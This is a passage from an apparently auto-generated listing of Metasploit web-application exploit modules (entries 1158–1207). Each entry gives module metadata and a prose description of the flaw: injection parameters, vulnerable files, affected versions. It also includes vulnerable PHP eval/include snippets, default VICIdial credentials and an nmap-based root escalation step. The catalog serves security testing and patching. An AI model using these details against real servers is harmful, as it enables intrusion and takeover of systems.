  arbitrary PHP code under the context of the web-server user.
  The 'ajax.php' file calls 'eval()' with user controlled data from
  the 'modname' parameter.

End Exploit Number 1158

Begin Exploit Number 1159
       Name: HP Openview connectedNodes.ovpl Remote Command Execution
     Module: exploit/unix/webapp/openview_connectednodes_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-08-25

Payload information:
  Space: 1024

Description:
  This module exploits an arbitrary command execution vulnerability in
```

```
the
  HP OpenView connectedNodes.ovpl CGI application. The results of the
command
  will be displayed to the screen.

End Exploit Number 1159

Begin Exploit Number 1160
       Name: OpenX banner-edit.php File Upload PHP Code Execution
     Module: exploit/unix/webapp/openx_banner_edit
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-11-24

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability in the OpenX advertising
software.
  In versions prior to version 2.8.2, authenticated users can upload
files
  with arbitrary extensions to be used as banner creative content. By
uploading
  a file with a PHP extension, an attacker can execute arbitrary PHP
code.

  NOTE: The file must also return either "png", "gif", or "jpeg" as
its image
  type as returned from the PHP getimagesize() function.

End Exploit Number 1160

Begin Exploit Number 1161
       Name: Oracle VM Server Virtual Server Agent Command Injection
     Module: exploit/unix/webapp/oracle_vm_agent_utl
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-10-12

Payload information:
  Space: 512
  Avoid: 2 characters
```

```
Description:
  This module exploits a command injection flaw within Oracle\'s VM
Server
  Virtual Server Agent (ovs-agent) service.

  By including shell meta characters within the second parameter to
the 'utl_test_url'
  XML-RPC methodCall, an attacker can execute arbitrary commands. The
service
  typically runs with root privileges.

  NOTE: Valid credentials are required to trigger this vulnerable. The
username
  appears to be hardcoded as 'oracle', but the password is set by the
administrator
  at installation time.

End Exploit Number 1161

Begin Exploit Number 1162
       Name: osCommerce 2.2 Arbitrary PHP Code Execution
     Module: exploit/unix/webapp/oscommerce_filemanager
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-08-31

Payload information:
  Space: 4000

Description:
  osCommerce is a popular open source E-Commerce application.
  The admin console contains a file management utility that
  allows administrators to upload, download, and edit files.
  This could be abused to allow unauthenticated attackers to
  execute arbitrary code with the permissions of the
  webserver.

End Exploit Number 1162

Begin Exploit Number 1163
       Name: PAJAX Remote Command Execution
     Module: exploit/unix/webapp/pajax_remote_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-03-30

Payload information:
  Space: 4000

Description:
  RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
  It is possible to execute arbitrary PHP code from unchecked user
input.
  Additionally, it is possible to include arbitrary files on the
server
  ending in ".class.php".

End Exploit Number 1163

Begin Exploit Number 1164
       Name: PHP-Charts v1.0 PHP Code Execution Vulnerability
     Module: exploit/unix/webapp/php_charts_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-16

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a PHP code execution vulnerability in php-
Charts
  version 1.0 which could be abused to allow users to execute
arbitrary
  PHP code under the context of the webserver user. The 'url.php'
script
  calls eval() with user controlled data from any HTTP GET parameter
name.

End Exploit Number 1164

Begin Exploit Number 1165
       Name: Generic PHP Code Evaluation
     Module: exploit/unix/webapp/php_eval
   Platform: PHP
       Arch: php
 Privileged: No
    License: BSD License
       Rank: Manual
  Disclosed: 2008-10-13
```

```
Payload information:
  Space: 8190
  Avoid: 3 characters

Description:
  Exploits things like <?php eval($_REQUEST['evalme']); ?>
  It is likely that HTTP evasion options will break this exploit.


End Exploit Number 1165

Begin Exploit Number 1166
       Name: PHP Remote File Include Generic Code Execution
     Module: exploit/unix/webapp/php_include
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-12-17

Payload information:
  Space: 262144

Description:
  This module can be used to exploit any generic PHP file include 
vulnerability,
  where the application includes code like the following:

  <?php include($_GET['path']); ?>


End Exploit Number 1166

Begin Exploit Number 1167
       Name: vBulletin misc.php Template Name Arbitrary Code Execution
     Module: exploit/unix/webapp/php_vbulletin_template
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: BSD License
       Rank: Excellent
  Disclosed: 2005-02-25

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary PHP code execution flaw in
  the vBulletin web forum software. This vulnerability is only
  present when the "Add Template Name in HTML Comments" option
  is enabled. All versions of vBulletin prior to 3.0.7 are
  affected.

End Exploit Number 1167

Begin Exploit Number 1168
       Name: PHP XML-RPC Arbitrary Code Execution
     Module: exploit/unix/webapp/php_xmlrpc_eval
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-06-29

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary code execution flaw
  discovered in many implementations of the PHP XML-RPC module.
  This flaw is exploitable through a number of PHP web
  applications, including but not limited to Drupal, Wordpress,
  Postnuke, and TikiWiki.

End Exploit Number 1168

Begin Exploit Number 1169
       Name: phpBB viewtopic.php Arbitrary Code Execution
     Module: exploit/unix/webapp/phpbb_highlight
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2004-11-12

Payload information:
  Space: 1024

Description:
  This module exploits two arbitrary PHP code execution flaws in the
  phpBB forum system. The problem is that the 'highlight' parameter
  in the 'viewtopic.php' script is not verified properly and will
  allow an attacker to inject arbitrary code via preg_replace().

  This vulnerability was introduced in revision 3076, and finally
  fixed in revision 5166. According to the "tags" within their tree,
  this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
```

```
End Exploit Number 1169

Begin Exploit Number 1170
       Name: phpCollab 2.5.1 Unauthenticated File Upload
     Module: exploit/unix/webapp/phpcollab_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-09-29

Payload information:

Description:
  This module exploits a file upload vulnerability in phpCollab 2.5.1
  which could be abused to allow unauthenticated users to execute
arbitrary code
  under the context of the web server user.

  The exploit has been tested on Ubuntu 16.04.3 64-bit

End Exploit Number 1170

Begin Exploit Number 1171
       Name: PhpMyAdmin Config File Code Injection
     Module: exploit/unix/webapp/phpmyadmin_config
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-03-24

Payload information:
  Space: 4000

Description:
  This module exploits a vulnerability in phpMyAdmin's setup
  feature which allows an attacker to inject arbitrary PHP
  code into a configuration file. The original advisory says
  the vulnerability is present in phpMyAdmin versions 2.11.x
  < 2.11.9.5 and 3.x < 3.1.3.1; this module was tested on
  3.0.1.1.

  The file where our payload is written
  (phpMyAdmin/config/config.inc.php) is not directly used by
  the system, so it may be a good idea to either delete it or
  copy the running config (phpMyAdmin/config.inc.php) over it
  after successful exploitation.

End Exploit Number 1171

Begin Exploit Number 1172
       Name: Piwik Superuser Plugin Upload
     Module: exploit/unix/webapp/piwik_superuser_plugin_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-02-05

Payload information:

Description:
  This module will generate a plugin, pack the payload into it
  and upload it to a server running Piwik. Superuser Credentials are
  required to run this module. This module does not work against Piwik
1
  as there is no option to upload custom plugins. Piwik disabled
  custom plugin uploads in version 3.0.3. From version 3.0.3 onwards
you
  have to enable custom plugin uploads via the config file.
  Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.

End Exploit Number 1172

Begin Exploit Number 1173
       Name: Project Pier Arbitrary File Upload Vulnerability
     Module: exploit/unix/webapp/projectpier_upload_exec
   Platform: Linux, PHP
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-08

Payload information:

Description:
  This module exploits a vulnerability found in Project Pier.  The
application's
  uploading tool does not require any authentication, which allows a
malicious user
  to upload an arbitrary file onto the web server, and then cause
remote code
  execution by simply requesting it. This module is known to work
against Apache
```

```
  servers due to the way it handles an extension name, but the
vulnerability may
  not be exploitable on others.

End Exploit Number 1173

Begin Exploit Number 1174
       Name: ProjectSend Arbitrary File Upload
     Module: exploit/unix/webapp/projectsend_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-02

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability in ProjectSend
  revisions 100 to 561. The 'process-upload.php' file allows
  unauthenticated users to upload PHP files resulting in remote
  code execution as the web server user.

End Exploit Number 1174

Begin Exploit Number 1175
       Name: QuickTime Streaming Server parse_xml.cgi Remote Execution
     Module: exploit/unix/webapp/qtss_parse_xml_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2003-02-24

Payload information:
  Space: 512

Description:
  The QuickTime Streaming Server contains a CGI script that is
vulnerable
  to metacharacter injection, allow arbitrary commands to be executed
as root.

End Exploit Number 1175

Begin Exploit Number 1176
       Name: rConfig install Command Execution
     Module: exploit/unix/webapp/rconfig_install_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-10-28

Payload information:
  Avoid: 4 characters

Description:
  This module exploits an unauthenticated command injection 
vulnerability
  in rConfig versions 3.9.2 and prior. The `install` directory is not
  automatically removed after installation, allowing unauthenticated 
users
  to execute arbitrary commands via the `ajaxServerSettingsChk.php` 
file
  as the web server user.

  This module has been tested successfully on rConfig version 3.9.2 on
  CentOS 7.7.1908 (x64).

End Exploit Number 1176

Begin Exploit Number 1177
       Name: Redmine SCM Repository Arbitrary Command Execution
     Module: exploit/unix/webapp/redmine_scm_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-19

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in 
the
  Redmine repository controller. The flaw is triggered when a rev 
parameter
  is passed to the command line of the SCM tool without adequate 
filtering.

End Exploit Number 1177

Begin Exploit Number 1178
```

```
       Name: SePortal SQLi Remote Code Execution
     Module: exploit/unix/webapp/seportal_sqli_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-20

Payload information:

Description:
  This module exploits a vulnerability found in SePortal version 2.5. 
  When logging in as any non-admin user, it's possible to retrieve the 
admin session 
  from the database through SQL injection. The SQL injection 
vulnerability exists 
  in the "staticpages.php" page. This hash can be used to take over 
the admin 
  user session. After logging in, the "/admin/downloads.php" page will 
be used 
  to upload arbitrary code.

End Exploit Number 1178

Begin Exploit Number 1179
       Name: Simple E-Document Arbitrary File Upload
     Module: exploit/unix/webapp/simple_e_document_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-23

Payload information:
  Space: 262144

Description:
  This module exploits a file upload vulnerability found in Simple 
  E-Document versions 3.0 to 3.1. Attackers can bypass authentication 
and 
  abuse the upload feature in order to upload malicious PHP files 
which 
  results in arbitrary remote code execution as the web server user. 
File 
  uploads are disabled by default.

End Exploit Number 1179
```

```
Begin Exploit Number 1180
       Name: SixApart MovableType Storable Perl Code Execution
     Module: exploit/unix/webapp/sixapart_movabletype_storable_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2015-02-11

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a serialization flaw in MovableType before
5.2.12 to execute
  arbitrary code. The default nondestructive mode depends on the
target server having
  the Object::MultiType and DateTime Perl modules installed in Perl's
@INC paths.
  The destructive mode of operation uses only required MovableType
dependencies,
  but it will noticeably corrupt the MovableType installation.

End Exploit Number 1180

Begin Exploit Number 1181
       Name: SkyBlueCanvas CMS Remote Code Execution
     Module: exploit/unix/webapp/skybluecanvas_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-28

Payload information:
  Space: 262144

Description:
  This module exploits an arbitrary command execution vulnerability
  in SkyBlueCanvas CMS version 1.1 r248-03 and below.

End Exploit Number 1181

Begin Exploit Number 1182
       Name: Simple PHP Blog Remote Command Execution
     Module: exploit/unix/webapp/sphpblog_file_upload
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-08-25

Payload information:

Description:
  This module combines three separate issues within The Simple PHP 
Blog (<= 0.4.0)
  application to upload arbitrary data and thus execute a shell. The 
first
  vulnerability exposes the hash file (password.txt) to 
unauthenticated users.
  The second vulnerability lies within the image upload system 
provided to
  logged-in users; there is no image validation function in the 
blogger to
  prevent an authenticated user from uploading any file type. The 
third
  vulnerability occurs within the blog comment functionality, allowing
  arbitrary files to be deleted.

End Exploit Number 1182

Begin Exploit Number 1183
       Name: SPIP connect Parameter PHP Injection
     Module: exploit/unix/webapp/spip_connect_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-04

Payload information:

Description:
  This module exploits a PHP code injection in SPIP. The vulnerability 
exists in the
  connect parameter and allows an unauthenticated user to execute 
arbitrary commands
  with web user privileges. Branches 2.0, 2.1 and 3 are concerned. 
Vulnerable versions
  are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against 
branch 2.0 and
  has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with 
Apache on Ubuntu
  and Fedora linux distributions.
```

```
End Exploit Number 1183

Begin Exploit Number 1184
       Name: SPIP form PHP Injection
     Module: exploit/unix/webapp/spip_rce_form
   Platform: PHP, Linux, Unix
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-02-27

Payload information:
  Avoid: 2 characters

Description:
  This module exploits a PHP code injection in SPIP. The vulnerability
exists in the
  oubli parameter and allows an unauthenticated user to execute
arbitrary commands
  with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are
concerned. Vulnerable versions
  are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.

End Exploit Number 1184

Begin Exploit Number 1185
       Name: Squash YAML Code Execution
     Module: exploit/unix/webapp/squash_yaml_exec
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-06

Payload information:

Description:
  This module exploits a remote code execution vulnerability in the
  YAML request processor of the Squash application.

End Exploit Number 1185

Begin Exploit Number 1186
       Name: SquirrelMail PGP Plugin Command Execution (SMTP)
     Module: exploit/unix/webapp/squirrelmail_pgp_plugin
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2007-07-09

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a command execution vulnerability in the
  PGP plugin of SquirrelMail. This flaw was found while quickly
  grepping the code after release of some information at
  http://www.wslabi.com/. Later, iDefense published an advisory ....

  Reading an email in SquirrelMail with the PGP plugin activated
  is enough to compromise the underlying server.

  Only "cmd/unix/generic" payloads were tested.

End Exploit Number 1186

Begin Exploit Number 1187
       Name: SugarCRM REST Unserialize PHP Code Execution
     Module: exploit/unix/webapp/sugarcrm_rest_unserialize_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-23

Payload information:

Description:
  This module exploits a PHP Object Injection vulnerability in
SugarCRM CE <= 6.5.23
  which could be abused to allow unauthenticated users to execute
arbitrary PHP code with
  the permissions of the webserver. The dangerous unserialize() call
exists in the
  '/service/core/REST/SugarRestSerialize.php' script. The exploit
abuses the __destruct()
  method from the SugarCacheFile class to write arbitrary PHP code
into the /custom directory.

End Exploit Number 1187

Begin Exploit Number 1188
       Name: SugarCRM unserialize() PHP Code Execution
```

```
      Module: exploit/unix/webapp/sugarcrm_unserialize_exec
    Platform: PHP
        Arch: php
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Excellent
   Disclosed: 2012-06-23

Payload information:

Description:
  This module exploits a php unserialize() vulnerability in SugarCRM
<= 6.3.1
  which could be abused to allow authenticated SugarCRM users to
execute arbitrary
  code with the permissions of the webserver.

  The dangerous unserialize() exists in the 'include/MVC/View/views/
view.list.php'
  script, which is called with user controlled data from the
'current_query_by_page'
  parameter. The exploit abuses the __destruct() method from the
SugarTheme class
  to write arbitrary PHP code to a 'pathCache.php' on the web root.

End Exploit Number 1188

Begin Exploit Number 1189
        Name: ThinkPHP Multiple PHP Injection RCEs
      Module: exploit/unix/webapp/thinkphp_rce
    Platform: Unix, Linux
        Arch: cmd, x86, x64
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Excellent
   Disclosed: 2018-12-10

Payload information:

Description:
  This module exploits one of two PHP injection vulnerabilities in the
  ThinkPHP web framework to execute code as the web user.

  Versions up to and including 5.0.23 are exploitable, though 5.0.23
is
  vulnerable to a separate vulnerability. The module will
automatically
  attempt to detect the version of the software.

  Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub.
```

```
End Exploit Number 1189

Begin Exploit Number 1190
       Name: TikiWiki tiki-graph_formula Remote PHP Code Execution
     Module: exploit/unix/webapp/tikiwiki_graph_formula_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-10-10

Payload information:
  Space: 6144
  Avoid: 7 characters

Description:
  TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
  attacker to execute arbitrary PHP code.  The issue is due to
  'tiki-graph_formula.php' script not properly sanitizing user
  input supplied to create_function(), which may allow a remote
  attacker to execute arbitrary PHP code resulting in a loss of
  integrity.

End Exploit Number 1190

Begin Exploit Number 1191
       Name: TikiWiki jhot Remote Command Execution
     Module: exploit/unix/webapp/tikiwiki_jhot_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-09-02

Payload information:
  Space: 1024

Description:
  TikiWiki contains a flaw that may allow a malicious user to execute
  arbitrary PHP code. The issue is triggered due to the jhot.php
script
  not correctly verifying uploaded files. It is possible that the flaw
  may allow arbitrary PHP code execution by uploading a malicious PHP
  script resulting in a loss of integrity.

  The vulnerability was reported in Tikiwiki version 1.9.4.
```

```
End Exploit Number 1191

Begin Exploit Number 1192
       Name: Tiki Wiki unserialize() PHP Code Execution
     Module: exploit/unix/webapp/tikiwiki_unserialize_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-04

Payload information:

Description:
  This module exploits a php unserialize() vulnerability in Tiki Wiki
<= 8.3
  which could be abused to allow unauthenticated users to execute
arbitrary code
  under the context of the webserver user.

  The dangerous unserialize() exists in the 'tiki-
print_multi_pages.php' script,
  which is called with user controlled data from the 'printpages'
parameter.
  The exploit abuses the __destruct() method from the
Zend_Pdf_ElementFactory_Proxy
  class to write arbitrary PHP code to a file on the Tiki Wiki web
directory.

  In order to run successfully three conditions must be satisfied (1)
display_errors
  php setting must be On to disclose the filesystem path of Tiki Wiki,
(2) The Tiki
  Wiki Multiprint feature must be enabled to exploit the unserialize()
and (3) a php
  version older than 5.3.4 must be used to allow poison null bytes in
filesystem related
  functions. The exploit has been tested successfully on Ubuntu 9.10
and Tiki Wiki 8.3.

End Exploit Number 1192

Begin Exploit Number 1193
       Name: Tiki Wiki Unauthenticated File Upload Vulnerability
     Module: exploit/unix/webapp/tikiwiki_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2016-07-11

Payload information:

Description:
  This module exploits a file upload vulnerability in Tiki Wiki <=
15.1
  which could be abused to allow unauthenticated users to execute
arbitrary code
  under the context of the web server user.

  The issue comes with one of the 3rd party components. Name of that
component is
  ELFinder -version 2.0-. This component comes with default example
page which
  demonstrates file operations such as upload, remove, rename, create
directory etc.
  Default configuration does not force validations such as file
extension, content-type etc.
  Thus, unauthenticated user can upload PHP file.

  The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.

End Exploit Number 1193

Begin Exploit Number 1194
       Name: TrixBox CE endpoint_devicemap.php Authenticated Command
Execution
     Module: exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-28

Payload information:
  Avoid: 1 characters

Description:
  This module exploits an authenticated OS command injection
  vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
  inclusive in the "network" POST parameter of the
  "/maint/modules/endpointcfg/endpoint_devicemap.php" page.
  Successful exploitation allows for arbitrary command execution
  on the underlying operating system as the "asterisk" user.
  Users can easily elevate their privileges to the "root" user
  however by executing "sudo nmap --interactive" followed by "!sh"
  from within nmap.
```

```
End Exploit Number 1194

Begin Exploit Number 1195
       Name: Trixbox langChoice PHP Local File Inclusion
     Module: exploit/unix/webapp/trixbox_langchoice
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2008-07-09

Payload information:
  Space: 8167
  Avoid: 3 characters

Description:
  This module injects php into the trixbox session file and then, in a 
second call, evaluates
  that code by manipulating the langChoice parameter as described in 
OSVDB-50421.

End Exploit Number 1195

Begin Exploit Number 1196
       Name: Tuleap 9.6 Second-Order PHP Object Injection
     Module: exploit/unix/webapp/tuleap_rest_unserialize_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-10-23

Payload information:

Description:
  This module exploits a Second-Order PHP Object Injection 
vulnerability in Tuleap <= 9.6 which
  could be abused by authenticated users to execute arbitrary PHP code 
with the permissions of the
  webserver. The vulnerability exists because of the 
User::getRecentElements() method is using the
  unserialize() function with data that can be arbitrarily manipulated 
by a user through the REST
  API interface. The exploit's POP chain abuses the __toString() 
method from the Mustache class
  to reach a call to eval() in the 
Transition_PostActionSubFactory::fetchPostActions() method.
```

```
End Exploit Number 1196

Begin Exploit Number 1197
       Name: Tuleap PHP Unserialize Code Execution
     Module: exploit/unix/webapp/tuleap_unserialize_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-27

Payload information:

Description:
  This module exploits a PHP object injection vulnerability in Tuleap
<= 7.6-4 which could be
  abused to allow authenticated users to execute arbitrary code with
the permissions of the
  web server. The dangerous unserialize() call exists in the 'src/www/
project/register.php'
  file. The exploit abuses the destructor method from the Jabbex class
in order to reach a
  call_user_func_array() call in the Jabber class and call the
fetchPostActions() method from
  the Transition_PostAction_FieldFactory class to execute PHP code
through an eval() call. In
  order to work, the target must have the
'sys_create_project_in_one_step' option disabled.

End Exploit Number 1197

Begin Exploit Number 1198
       Name: TWiki History TWikiUsers rev Parameter Command Execution
     Module: exploit/unix/webapp/twiki_history
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-09-14

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in the history component of
TWiki.
```

```
  By passing a 'rev' parameter containing shell metacharacters to the
TWikiUsers
  script, an attacker can execute arbitrary OS commands.

End Exploit Number 1198

Begin Exploit Number 1199
       Name: TWiki MAKETEXT Remote Command Execution
     Module: exploit/unix/webapp/twiki_maketext
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-15

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability in the MAKETEXT Twiki variable.
By using a
  specially crafted MAKETEXT, a malicious user can execute shell
commands since user
  input is passed to the Perl "eval" command without first being
sanitized. The
  problem is caused by an underlying security issue in the
CPAN:Locale::Maketext
  module. This works in TWiki sites that have user interface
localization enabled
  (UserInterfaceInternationalisation variable set).

  If USERNAME and PASSWORD aren't provided, anonymous access will be
tried. Also,
  if the 'TwikiPage' option isn't provided, the module will try to
create a random
  page on the SandBox space.  The module has been tested successfully
on
  TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1
virtual machine.

End Exploit Number 1199

Begin Exploit Number 1200
       Name: TWiki Search Function Arbitrary Command Execution
     Module: exploit/unix/webapp/twiki_search
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2004-10-01

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the search component of
TWiki.
  By passing a 'search' parameter containing shell metacharacters to
the
  'WebSearch' script, an attacker can execute arbitrary OS commands.

End Exploit Number 1200

Begin Exploit Number 1201
       Name: vBulletin index.php/ajax/api/reputation/vote nodeid
Parameter SQL Injection
     Module: exploit/unix/webapp/vbulletin_vote_sqli_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-03-25

Payload information:
  Space: 10000

Description:
  This module exploits a SQL injection vulnerability found in
vBulletin 5 that has
  been used in the wild since March 2013. This module uses the sqli to
extract the
  web application's usernames and hashes. With the retrieved
information tries to
  log into the admin control panel in order to deploy the PHP payload.
This module
  has been tested successfully on VBulletin Version 5.0.0 Beta 13 over
an Ubuntu
  Linux distribution.

End Exploit Number 1201

Begin Exploit Number 1202
       Name: VICIdial Manager Send OS Command Injection
     Module: exploit/unix/webapp/vicidial_manager_send_cmd_exec
   Platform: Unix
       Arch:
```

```
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-23

Payload information:
  Space: 8000

Description:
  The file agc/manager_send.php in the VICIdial web application uses
  unsanitized user input as part of a command that is executed using
the PHP
  passthru() function. A valid username, password and session are
needed to access
  the injection point. Fortunately, VICIdial has two built-in accounts
with default
  passwords and the manager_send.php file has a SQL injection
vulnerability that can
  be used to bypass the session check as long as at least one session
has been
  created at some point in time. In case there isn't any valid
session, the user can
  provide astGUIcient credentials in order to create one. The results
of the injected
  commands are returned as part of the response from the web server.
Affected versions
  include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely
affected as well. The
  default credentials used by Vicidial are VDCL/donotedit and VDAD/
donotedit.

End Exploit Number 1202

Begin Exploit Number 1203
       Name: VICIdial user_authorization Unauthenticated Command
Execution
     Module: exploit/unix/webapp/
vicidial_user_authorization_unauth_cmd_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-26

Payload information:
  Space: 2048
  Avoid: 6 characters

Description:
  This module exploits a vulnerability in VICIdial versions
  2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
  to execute arbitrary operating system commands as the web
  server user if password encryption is enabled (disabled
  by default).

  When password encryption is enabled the user's password
  supplied using HTTP basic authentication is used in a call
  to exec().

  This module has been tested successfully on version 2.11 RC2
  and 2.13 RC1 on CentOS.

End Exploit Number 1203

Begin Exploit Number 1204
       Name: Webmin /file/show.cgi Remote Command Execution
     Module: exploit/unix/webapp/webmin_show_cgi_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-09-06

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in
Webmin
  1.580. The vulnerability exists in the /file/show.cgi component and
allows an
  authenticated user, with access to the File Manager Module, to
execute arbitrary
  commands with root privileges. The module has been tested
successfully with Webmin
  1.580 over Ubuntu 10.04.

End Exploit Number 1204

Begin Exploit Number 1205
       Name: Webmin Upload Authenticated RCE
     Module: exploit/unix/webapp/webmin_upload_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-01-17
```

```
Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in
Webmin
  1.900 and lower versions. Any user authorized to the "Upload and
Download"
  module can execute arbitrary commands with root privileges.

  In addition, if the 'Running Processes' (proc) privilege is set the
user can
  accurately determine which directory to upload to. Webmin
application files
  can be written/overwritten, which allows remote code execution. The
module
  has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

  Using GUESSUPLOAD attempts to use a default installation path in
order to
  trigger the exploit.

End Exploit Number 1205

Begin Exploit Number 1206
       Name: WebTester 5.x Command Execution
     Module: exploit/unix/webapp/webtester_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-17

Payload information:
  Space: 8190
  Avoid: 1 characters

Description:
  This module exploits a command execution vulnerability in WebTester
  version 5.x. The 'install2.php' file allows unauthenticated users to
  execute arbitrary commands in the 'cpusername', 'cppassword' and
  'cpdomain' parameters.

End Exploit Number 1206

Begin Exploit Number 1207
       Name: WordPress Admin Shell Upload
     Module: exploit/unix/webapp/wp_admin_shell_upload
